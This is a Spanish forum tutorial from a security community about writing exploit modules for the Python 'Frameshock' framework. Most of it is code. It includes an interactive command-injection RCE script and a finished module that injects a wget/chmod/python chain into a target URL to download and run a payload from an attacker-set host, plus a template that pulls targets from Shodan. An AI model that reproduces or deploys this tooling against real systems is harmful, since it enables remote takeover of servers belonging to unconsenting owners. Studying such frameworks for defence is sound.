Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: q3rv0 en Febrero 08, 2015, 05:30:13 PM

Título: Programa tu modulo para Frameshock
Publicado por: q3rv0 en Febrero 08, 2015, 05:30:13 PM
(http://i.imgur.com/8KCwaUh.jpg?3)

Recientemente y de la mano de mi amigo hdbreaker salio a la luz un nuevo framework de explotacion llamado Frameshock, el cual promete ser una herramienta que a futuro, llegue a competir con el imponente Metasploit. Lo mejor de esta tool es que esta basada completamente en python y el desarrollo de exploits, auxiliares, etc se hace tremendamente sencillo debido a la manera en que trata los modulos.

En fin, basta de chicharas y vamos a evocarnos a lo que el titulo llama. Antes de proseguir con el resto del tutorial, se tiene en cuenta que el lector cuenta con conocimientos de POO en el lenguaje python.

*** ADVERTENCIA *** Si estas leyendo esto y todavía no te encontras familiarizado con el framework, podes ver el siguiente enlace http://www.securitysignal.tk/2015/02/frameshock-al-descubierto.html

Estructura de los módulos

La estructura de los módulos es la siguiente, y lo único a respetar durante el desarrollo.

Código (python) [Seleccionar]
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate

class module(config):

    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()

    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################



    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
        else:
            print "No hay targets"

################Aca va el metodo que contiene el exploit################
    def test(self):
        print "Attack Test"
########################################################################

##########Se inicia el modulo###########
start=module()
########################################


Como se ve:


   
Se importan módulos necesarios como sys para agregar el dir base al PATH de python: sys.path.append('.')

    Se importa el modulo config el cual contiene ciertos métodos que nos proveerán de los datos que configuramos con la opción config en el prompt de frameshock. Además es necesario para trabajar con shodan y la db si es que lo necesitamos.

    Se importa tabulate, el cual lo usaremos para mostrar informacion en forma de tabla como por ejemplo los targets seteados.

La clase module()

La clase module contiene tres métodos, en __init__:

    Se inicializa el objeto config y se llama a dos métodos dentro de config

    getCursor()
    getCon()



Necesarios para trabajar con la db sqlite3, como dije anteriormente nos servirán para hacer uso de shodan, pero en este apartado no se hará referencia al mismo, aunque de igual manera se mencionaran.

    Se crea una lista vacía self.targets=[] que almacenara los objetivos que seleccionemos en modo manual.

    Por ultimo se llama al método preExecution.


preExecution()


Acá indicaremos la opciones que contendrá el modulo y cargaremos los argumentos que son pasados a través de esas opciones, tales como el target objetivo, la opción de arranque del modulo, etc. Eso va en los parámetros que necesite recibir nuestro modulo, si desean también pueden incluir una opción para desplegar información acerca del mismo, o datos del autor.
Comencemos! y a partir de acá, siéntanse libres de codear a su antojo, para nuestro ejemplo voy a portar como modulo de Frameshock un simple script que explota un rce.

Código (python) [Seleccionar]
#!/usr/bin/python

import urllib2
import sys

def rce(target):
    while 1:
        command=raw_input("$> ")
        w=urllib2.urlopen(target+"www.google.com|"+command)
        print w.read()

rce(sys.argv[1])


let's go!

Arranquemos por definir la opción help. Por comodidad respecto a la sintaxis se optara por utilizar la misma que msf, pero no es algo indispensable.

(http://4.bp.blogspot.com/-Fy3uRAxgfLM/VNZuP8UKYxI/AAAAAAAAAXM/SfkPBSL21tA/s1600/pre1.png)

Ahora continuemos con el resto de las opciones necesarias para nuestro modulo.

(http://1.bp.blogspot.com/-BUIJ0Wy-xrA/VNZuu5tMZVI/AAAAAAAAAXU/zy1ca5_c_TU/s1600/preexecu2.png)

Sencillo no?, no hace falta explicar mucho, el código habla por si solo.

Para obtener el objetivo, hacemos un split a la cadena set target, tomamos el indice 2 y luego hacemos un append para ingresar los datos dentro de self.targets.

Para desplegar los objetivos lo hacemos con tabulate, por cuestiones de estetica, lo dije antes y lo vuelvo a decir, SIÉNTANSE LIBRES!

Si la opción elegida es exploit invoca el metodo self.exploit() que lo trataremos en el siguiente paso.
                                                     
exploit()

(http://4.bp.blogspot.com/-3WSHvxRJY1I/VNVTUFvGHPI/AAAAAAAAAWU/cg3LMPn1JwY/s1600/no_me_digas_by_rober_raik-d4dt7n7.png)

Tenemos dos caminos, utilizar algún payload provisto por Frameshock, o bien realizar una conexión directa. Como el handler del framework no esta el divino botón optaremos por la primera. Definiremos el método que contendrá el exploit e importaremos las librerias necesarias.

Código (python) [Seleccionar]
def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)


Hagamos un párate y pongamos un par de cosas en remojo.

    self.config.getUrlInjector() : Retorna la url del payload que hemos seteado desde frameshock

    self.config.getInjectorName() : Nos devolverá el nombre del payload elegido.


Entonces el metodo rce() lo único que hace es descargar nuestro payload en el servidor remoto, darle permisos de ejecución y lanzarlo contra nuestro handler.

Código (python) [Seleccionar]
command="wget http://"+self.config.getUrlInjector()+" -O "+self.config.getInjectorName()+";chmod 755 "+self.config.getInjectorName()+";python "+self.config.getInjectorName()

Lo llamamos desde exploit() y nos disponemos a probar nuestro modulo, quedando de la siguiente manera.

(http://3.bp.blogspot.com/-JZs3v7Bivto/VNaxNBtZXzI/AAAAAAAAAYA/E-3bTc_yDgM/s1600/exploitcall.png)

Código (python) [Seleccionar]
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
import urllib2

class module(config):

    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()

    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################
            opcion=raw_input("> ")

            if opcion=="help":
                print("set target <TARGET> -> Setea el target manualmente")
                print("exit -> Cierra el modulo")
                print("show targets -> Muestra los targets seteados")
                print("clear targets -> Elimina los targets")
                print("exploit -> Inicia el modulo de ataque")

            elif opcion.find("set target")!=-1:
                target=opcion.split(' ')[2]
                self.targets.append((0, target, "Modulo para explotar un RCE", "RCE"))

            elif opcion=="exit":
                exit(0)

            elif opcion=="show targets":
                if len(self.targets)>0:
                    print tabulate(self.targets, ["ID", "TARGET", "DESCRIPCION", "MODULO"], tablefmt="grid")
                else:
                    print "No hay targets seteados"

            elif opcion=="clear targets":
                self.targets=[]

            elif opcion=="exploit":
                self.exploit()


    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
                self.rce(target[1])
        else:
            print "No hay targets"

################Aca va el metodo que contiene el exploit################
    def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)
########################################################################

##########Se inicia el modulo###########
start=module()
########################################


Antes que nada, lo guardaremos en el directorio /FrameShock/Modules respetando la regla del nombre.

numero_nombremodulo.py

Por ejemplo:

Si tenemos los siguiente módulos (1_moduloprueba.py, 2_moduloprueba.py, 3_moduloprueba.py), Lo agregaremos como 4_rce.py.

(http://4.bp.blogspot.com/-iKle3OWpmxg/VNVggASqhBI/AAAAAAAAAWs/-ibGmZZz7rE/s1600/15127416.jpg)

Estamos listos para cargar nuestro modulo de prueba.

(http://2.bp.blogspot.com/-HcbKH6dgzWA/VNZ1yQ5FxFI/AAAAAAAAAXk/Uw_DDHL1O9s/s1600/attack.png)

BOOM! explotado con exito el rce!

Cabe resaltar para terminar, que en el directorio  /FrameShock/ExampleModule contamos con un modulo de ejemplo para comenzar a programar desde ahí.

Código (python) [Seleccionar]
# -*- coding: utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate

class module(config):


####Init configuration####
    def __init__(self):
        self.config = config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
##########################

####User define information####
    def preExecution(self):
        while(True):
            option = raw_input("> ")
            if(option=="exit"):
                exit(0)

            if(option=="help"):

                print("set target URL:PORT --> Manual Target")
                print("clear targets       --> Show Targets in module")
                print("show targets        --> Clear Targets in module")
                print("use shodan          --> Targets from Shodan Results")
                print("exploit             --> Start atack")
                print("exit                --> Close Module")

            if(option.find("set target")>-1):
                data = option.split(" ")
                data = data[2].split(":");
                target = data[0]
                port = data[1]
                self.targets.append((0,target,port,"Manual","null"))

            if(option.find("use shodan")>-1):
                self.targets=self.config.getTargets();

            if(option=="clear targets"):
                self.targets=[]
                print("Clear Done")

            if(option=="show targets"):
                if(len(self.targets)!=0):
                        print tabulate(self.targets, ["id", "IP", "PORT", "Description", "Vulnerable Module"], tablefmt="grid")
                else:
                    print "No targets"

            if(option=="exploit"):
                self.exploit()
###################################

###Exploit c0de###
    def exploit(self):
        if(len(self.targets)!=0):
            for target in self.targets:
                ###YOUR EXPLOIT CODE HERE###
                print "Atack "+target[1]+":"+target[2]
        else:
            print "No targets found";

####def custom user functions (calleable from exploit())####
    def testFunctions(self):
        print "Atack test"
#############################################################

#####Init Module#####
start = module()
#####################


Saludos! y Happy Frameshock Hacking!

Fuente: http://www.securitysignal.tk/2015/02/programa-tu-modulo-para-frameshock.html